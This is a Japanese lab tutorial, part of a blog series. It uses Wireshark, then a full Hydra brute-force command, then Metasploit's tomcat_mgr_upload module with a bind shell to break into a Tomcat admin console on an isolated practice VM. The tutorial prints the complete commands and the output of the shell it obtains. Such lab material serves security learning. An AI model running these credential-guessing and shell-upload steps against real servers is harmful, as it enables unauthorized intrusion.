はじめに
この連載ではVirtualBox + Kali Linuxを用いたハッキング実験を行います。今回は第5回です。
前回は辞書・総当たり形式で様々な形式のパスワード解析を行いました。
今回はwiresharkを使用してhttp解析を行いターゲット端末のtomcatへの侵入を試みます。
連載記事一覧
とりあえずターゲット端末のtomcatのTOP画面にアクセス
kali linux の firefoxを起動し、http://【以前ターゲット端末に割り当てた静的IP】:8180にアクセスしてみましょう。tomcatのTOP画面が表示されます。
左のメニューの「Administration」の「TomcatAdministration」のリンクを押します。すると認証画面が表示されます。
WireSharkでtomcatとの通信を解析する
Wiresharkを起動し、認証に失敗する間だけパケットキャプチャします。ここではIDに"hoge"、パスワードに"1234"を入力しました。キャプチャした内容に対して、「FollowHTTPStream」を実行すると、次のようなHTTP要求を送信していることがわかります。
これでHydraに設定する情報が得られます。
・対象ホスト:192.168.56.3 ・認証ページ:"/admin/j_security_check" ・データの送信方式:POSTメソッド⇒httpformpostを使用する ・ユーザー名の変数:j_username ・パスワードの変数:j_password
Hydraでtomcatの管理画面を突破する
とゆうわけで、以下のコマンドを実行してみましょう。 「Invalid username or password」とは管理画面に認証のリクエストを送って失敗した際に表示される文言です。
httpは認証前提のプロトコルではないため、認証の成否はレスポンス情報から判断します。
root@kali:~# hydra -L user.lst -P pass.lst -s 8180 192.168.56.3 http-form-post "/admin/j_security_check:j_username=^USER^&j_password=^PASS^:Invalid username or password" Hydra v9.0 (c) 2019 by van Hauser/THC - Please do not use in military or secret service organizations, or for illegal purposes. Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2019-10-07 11:39:30 [DATA] max 16 tasks per 1 server, overall 16 tasks, 80 login tries (l:8/p:10), ~5 tries per task [DATA] attacking http-post-form://192.168.56.3:8180/admin/j_security_check:j_username=^USER^&j_password=^PASS^:Invalid username or password [8180][http-post-form] host: 192.168.56.3 login: tomcat password: tomcat 1 of 1 target successfully completed, 1 valid password found Hydra (https://github.com/vanhauser-thc/thc-hydra) finished at 2019-10-07 11:39:35
実行結果から、このtomcatに侵入するためのID・PASSの組み合わせは「tomcat」「tomcat」であることがわかります。
実際に管理画面にログインすると以下の画面が表示されます。 この画面からユーザーの追加・削除・編集や、データベースの設定などができます。
Metasploitを使用してターゲットのシェルを奪取する
管理用のアカウントのユーザー名とパスワードがわかれば、Metasploitに用意されたモジュール("exploit/multi/http/tomcat_mgr_upload")を用いてシェルを奪取できます。
実際にやってみましょう。
root@kali:~# msfconsole msf5 > grep exploit search tomcat (略) 16 exploit/multi/http/tomcat_mgr_upload 2009-11-09 excellent Yes Apache Tomcat Manager Authenticated Upload Code Execution (略) msf5 > use exploit/multi/http/tomcat_mgr_upload msf5 exploit(multi/http/tomcat_mgr_upload) > show targets Exploit targets: Id Name -- ---- 0 Java Universal 1 Windows Universal 2 Linux x86 msf5 exploit(multi/http/tomcat_mgr_upload) > set target 2 target => 2 msf5 exploit(multi/http/tomcat_mgr_upload) > set payload linux/x86/shell_bind_tcp payload => linux/x86/shell_bind_tcp msf5 exploit(multi/http/tomcat_mgr_upload) > set HttpUsername tomcat HttpUsername => tomcat msf5 exploit(multi/http/tomcat_mgr_upload) > set HttpPassword tomcat HttpPassword => tomcat msf5 exploit(multi/http/tomcat_mgr_upload) > set RHOST 192.168.56.3 RHOST => 192.168.56.3 msf5 exploit(multi/http/tomcat_mgr_upload) > set RPORT 8180 RPORT => 8180 msf5 exploit(multi/http/tomcat_mgr_upload) > show options Module options (exploit/multi/http/tomcat_mgr_upload): Name Current Setting Required Description ---- --------------- -------- ----------- HttpPassword tomcat no The password for the specified username HttpUsername tomcat no The username to authenticate as Proxies no A proxy chain of format type:host:port[,type:host:port][...] RHOSTS 192.168.56.3 yes The target address range or CIDR identifier RPORT 8180 yes The target port (TCP) SSL false no Negotiate SSL/TLS for outgoing connections TARGETURI /manager yes The URI path of the manager app (/html/upload and /undeploy will be used) VHOST no HTTP server virtual host Payload options (linux/x86/shell_bind_tcp): Name Current Setting Required Description ---- --------------- -------- ----------- LPORT 4444 yes The listen port RHOST 192.168.56.3 no The target address Exploit target: Id Name -- ---- 2 Linux x86 msf5 exploit(multi/http/tomcat_mgr_upload) > exploit [*] Retrieving session ID and CSRF token... [*] Uploading and deploying r4sS7VY87JLLg4kxjCHA... [*] Executing r4sS7VY87JLLg4kxjCHA... [*] Undeploying r4sS7VY87JLLg4kxjCHA ... [*] Started bind TCP handler against 192.168.56.3:4444 [*] Command shell session 1 opened (192.168.56.2:40169 -> 192.168.56.3:4444) at 2019-10-07 11:54:13 -0400 whoami ← シェル奪取完了! tomcat55 uname -a Linux metasploitable 2.6.24-16-server #1 SMP Thu Apr 10 13:58:00 UTC 2008 i686 GNU/Linux
まとめ・次回
今回はwiresharkを使用してtomcatへのアクセスを解析・突破しました。 次回はディレクトリトラバーサルを実現します